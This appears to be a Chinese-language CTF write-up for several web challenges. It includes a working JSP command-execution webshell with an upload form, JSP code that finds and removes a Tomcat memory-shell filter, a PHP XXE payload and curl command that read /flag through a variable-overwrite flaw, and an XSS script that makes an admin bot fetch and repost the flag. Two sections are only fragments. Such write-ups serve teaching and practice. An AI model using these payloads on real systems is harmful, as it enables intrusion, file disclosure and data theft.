Web
Kill-tomcat-memshell
检查源码 发现存在数据上传点:

并且进入视图函数进行检查,没有发现相关的过滤,也就是说可以任意上传。

那么我们可以直接构造jsp木马进行上传
<!-- 构建上传脚本 -->
<html>
<body>
<form action="http://101.37.152.107:38576/UploadLogo" method="post" enctype="multipart/form-data">
<input type="file" name="file"/>
<button type="submit">Upload</button>
</form>
</body>
</html>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>一句话木马</title>
</head>
<body>
<%
Process process = Runtime.getRuntime().exec(request.getParameter("cmd"));
InputStream inputStream = process.getInputStream();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
String line;
while ((line = bufferedReader.readLine())!=null){
response.getWriter().print(line);
}
%>
</body>
</html>
访问101.37.152.107:38576/uploads/muma.jsp?cmd=ls

已经成功getshell,下一步就是查杀内存马,通常来说查杀内存马有以下步骤:
1.列出Servlet
<%@ page import="java.util.*" %>
<%@ page import="jakarta.servlet.*" %>
<%
ServletContext ctx = request.getServletContext();
Map<String, ? extends ServletRegistration> map = ctx.getServletRegistrations();
for (String name : map.keySet()) {
out.println("Servlet: " + name + " => " + map.get(name).getClassName() + "<br/>");
}
%>

2.列出Filter
<%
Map<String, ? extends FilterRegistration> fmap = ctx.getFilterRegistrations();
for (String name : fmap.keySet()) {
out.println("Filter: " + name + " => " + fmap.get(name).getClassName() + "<br/>");
}
%>

3.列出Listener
<%
out.println("Listeners: <br/>");
for (Object listener : ctx.getListeners()) {
out.println(listener.getClass().getName() + "<br/>");
}
%>
很显然 在上述fiter中 我们发现了一个名为:Filter: AutomneGreet => org.apache.jsp.uploads.memfilter_002dtomcat_jsp$1
的可疑项目:
1.命名奇怪(AutomneGreet)
2.而且指向一个 JSP 动态生成的类 memfilter_xxx,
3.所以基本可以确认这是一个 内存马 Filter ―― 通过上传 JSP 动态注入 Filter 挂在 Tomcat 里。
接下来,我们需要清除掉这个filter AutomneGreet
<%@ page import="java.lang.reflect.*" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%
try {
ServletContext sc = request.getServletContext();
// get ApplicationContext
Field appContextField = sc.getClass().getDeclaredField("context");
appContextField.setAccessible(true);
Object appContext = appContextField.get(sc);
// get StandardContext
Field stdContextField = appContext.getClass().getDeclaredField("context");
stdContextField.setAccessible(true);
StandardContext stdContext = (StandardContext) stdContextField.get(appContext);
// get filterConfigs
Field filterConfigsField = StandardContext.class.getDeclaredField("filterConfigs");
filterConfigsField.setAccessible(true);
Map<?,?> filterConfigs = (Map<?,?>) filterConfigsField.get(stdContext);
// remove Filter
Object removed = filterConfigs.remove("AutomneGreet");
if (removed != null) {
out.println("cleaned Filter: AutomneGreet");
} else {
out.println("AutomneGreet Filter notfound");
}
} catch (Exception e) {
e.printStackTrace(new java.io.PrintWriter(out));
}
%>


ezphp
主要为XXE注入以及高危函数利用
观察register.php获得注册逻辑
<?php
include "utils/function.php";
$config = include "utils/config.php"; //定义xml
$user_xml_format = "<?xml version='1.0'?>
<userinfo>
<user>
<username>%s</username>
<password>%s</password>
</user>
</userinfo>";
extract($_REQUEST); //注意本行 存在变量覆盖漏洞
if(empty($username)||empty($password)) die("Username or password cannot be empty XD");
if(!preg_match('/^[a-zA-Z0-9_]+$/', $username)) die("Invalid username. :("); //限制用户名
if(is_user_exists($username, $config["user_info_dir"])) die("User already exists XD");
$user_xml = sprintf($user_xml_format, $username, $password); //没有限制密码
register_user($username, $config['user_info_dir'], $user_xml);
引入function.php config.php
创建用户名对应的目录以及xml文件,xml模板在user_xml_format 中定义
对用户名进行了过滤,只允许字母和数字的出现,过滤符号
注意到:
extract($_REQUEST); //注意本行 存在变量覆盖漏洞
这个函数原本的作用,是把一个 关联数组($array)里的所有 键名/值,转化为同名的变量。
例如:
$arr = [
"username" => "alice",
];
extract($arr);
echo $username; // alice
但是在这里的 $_REQUEST 实际上我们可以传入任意的参数,因此可以覆盖掉user_xml_format,这为后面我们构造payload提供了思路。
这是login.php 当登陆失败的时候 会显示Password error for User: 并且回显用户名
<?php
include "utils/function.php";
$config = include "utils/config.php";
$username = $_REQUEST['username'];
$password = $_REQUEST['password'];
if(empty($username)||empty($password)) die("Username or password cannot be empty XD");
if(!is_user_exists($username, $config["user_info_dir"])) die("Username error");
$user_record = get_user_record($username, $config['user_info_dir']);
if($user_record->user->password != $password) die("Password error for User:".$user_record->user->username);
header("Location:main.html"); //用户名回显
观察function.php 发现了异常:
<?php
//非关键部分省略
function get_user_record($username, $user_info_dir)
{
$user_info_xml = file_get_contents($user_info_dir.'/'.$username.'/'.$username.'.xml');
$dom = new DOMDocument();
$dom->loadXML($user_info_xml, LIBXML_NOENT | LIBXML_DTDLOAD);
return simplexml_import_dom($dom);
}
$dom->loadXML($user_info_xml, LIBXML_NOENT | LIBXML_DTDLOAD);
这一行存在巨大的漏洞:
LIBXML_NOENT:允许 实体替换 (Entity Substitution) 。会把 用户传入的恶意xml对象替换成实际内容。
LIBXML_DTDLOAD:允许加载 外部 DTD(文档类型定义) 。
正常的PHP中这里都是默认不开启的,但是在这里是一个明显的提示作用,结合上面我们找到的变量替换,直接构造payload:
<?xml version='1.0'?>
<!DOCTYPE userinfo [<!ENTITY xxe SYSTEM 'file:///flag'>]>
<userinfo>
<user>
<username>&xxe;</username>
<password>123</password>
</user>
</userinfo>
curl -X POST http://your-ctf/register.php -d "username=6" -d "password=123" --data-urlencode "user_xml_format=<?xml version='1.0'?> <!DOCTYPE userinfo [<!ENTITY xxe SYSTEM 'file:///flag'>]> <userinfo> <user> <username>&xxe;</username> <password>123</password> </user> </userinfo>"
随后去随便输一个密码登录即可

Realworld-ezNote
主要为源码审计以及上传漏洞挖掘
(存在一个非常诡异的直接执行点)


神秘代码执行点
cat /f* 得到flag

ezgroovy

使用jdgui提取源码

发现了rce,直接可以cat到flag

ezxss
const express = require('express');
const bodyParser = require('body-parser');
const fs = require('fs');
const puppeteer = require('puppeteer');
const path = require('path');
const app = express();
app.use(bodyParser.urlencoded({ extended: false }));
app.use(bodyParser.json());
let notes = {};
app.post('/submitNote', (req, res) => { //post上传笔记内容 存储到内存对象note
const { noteName, note } = req.body;
if (!noteName || !note) {
return res.status(400).send('Missing noteName or note');
}
notes[noteName] = note;
res.send(`Note saved. Visit /notes/${encodeURIComponent(noteName)}`);
});
app.get('/notes/:noteName', (req, res) => {
const noteName = req.params.noteName;
const note = notes[noteName];
if (!note) {
return res.status(404).send('Note not found');
}
res.setHeader('Content-Type', 'text/html');
res.send(note); //直接渲染 存在XSS注入风险
});
app.get('/flag', (req, res) => {
const ip = req.ip.replace('::ffff:', '');
if (ip !== '127.0.0.1' && ip !== '::1') { //结合下面的bot一起看
return res.status(403).send('Forbidden'); //这个就是暗示了得让bot去拿flag
}
try {
const flag = fs.readFileSync('/flag', 'utf8');
res.send(flag);
} catch (err) {
res.status(500).send('Flag file not found');
}
});
app.get('/bot', async (req, res) => { //机器人浏览环境执行
const noteName = req.query.noteName;
if (!noteName || !notes[noteName]) {
return res.status(400).send('Note not found');
}
try {
const browser = await puppeteer.launch({
headless: true,
executablePath: '/usr/bin/chromium',
args: ['--no-sandbox', '--disable-setuid-sandbox']
});
const page = await browser.newPage();
await page.goto('http://127.0.0.1:3000/notes/' + encodeURIComponent(noteName), {
waitUntil: 'networkidle2',
timeout: 5000
});
await new Promise(r => setTimeout(r, 2000));
await browser.close();
res.send('Bot has visited your note.');
} catch (err) {
console.error(err);
res.status(500).send('Bot error');
}
});
app.use(express.static('public'));
const PORT = 3000;
app.listen(PORT, () => {
console.log('Server listening on port ' + PORT);
});
<script>
fetch("http://127.0.0.1:3000/flag")
.then(r => r.text())
.then(flag => {
fetch("/submitNote", {
method: "POST",
headers: {"Content-Type":"application/json"},
body: JSON.stringify({ noteName: "stolenflag", note: flag })
});
});
</script>
这个payload 会让bot去提交内容 并且把flag的内容上传进来
